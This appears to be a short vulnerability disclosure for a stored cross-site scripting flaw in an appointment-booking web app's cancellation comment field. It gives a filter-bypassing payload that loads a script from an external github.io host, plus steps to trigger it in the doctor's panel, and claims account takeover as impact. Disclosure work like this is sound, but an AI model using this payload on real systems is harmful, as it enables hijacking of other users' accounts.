Summary

The message parameter when cancelling an Appointment is vulnerable to XSS

Finding the Payload

1)Understanding the Scope were Data is Reflected : it was reflected in anchor tag's  data-original-title value. So i Had to get  out of the anchor tag
2)Filtering was in place for the parameter so I used trick of  script tag without closing it

"><script+src="https://muhammed1rfan.github.io/simple.js?q=

Steps

1) Create an Appointment by visiting the book-appointment.php
2) Fill the Details and Click Book Appointment
3)You will get an Appointment ID as Response Note it Down
4) Now Visit the /yourappointments.php and Provide the Appointment ID and Click Retrieve Appointment
5)Now add "><script+src="https://muhammed1rfan.github.io/simple.js?q= as Comment and the n Click Cancel Appoinment
6)When Doctor Visits /drpanel/cancelled.php XSS will triggered

Impact

The XSS can be used for ATO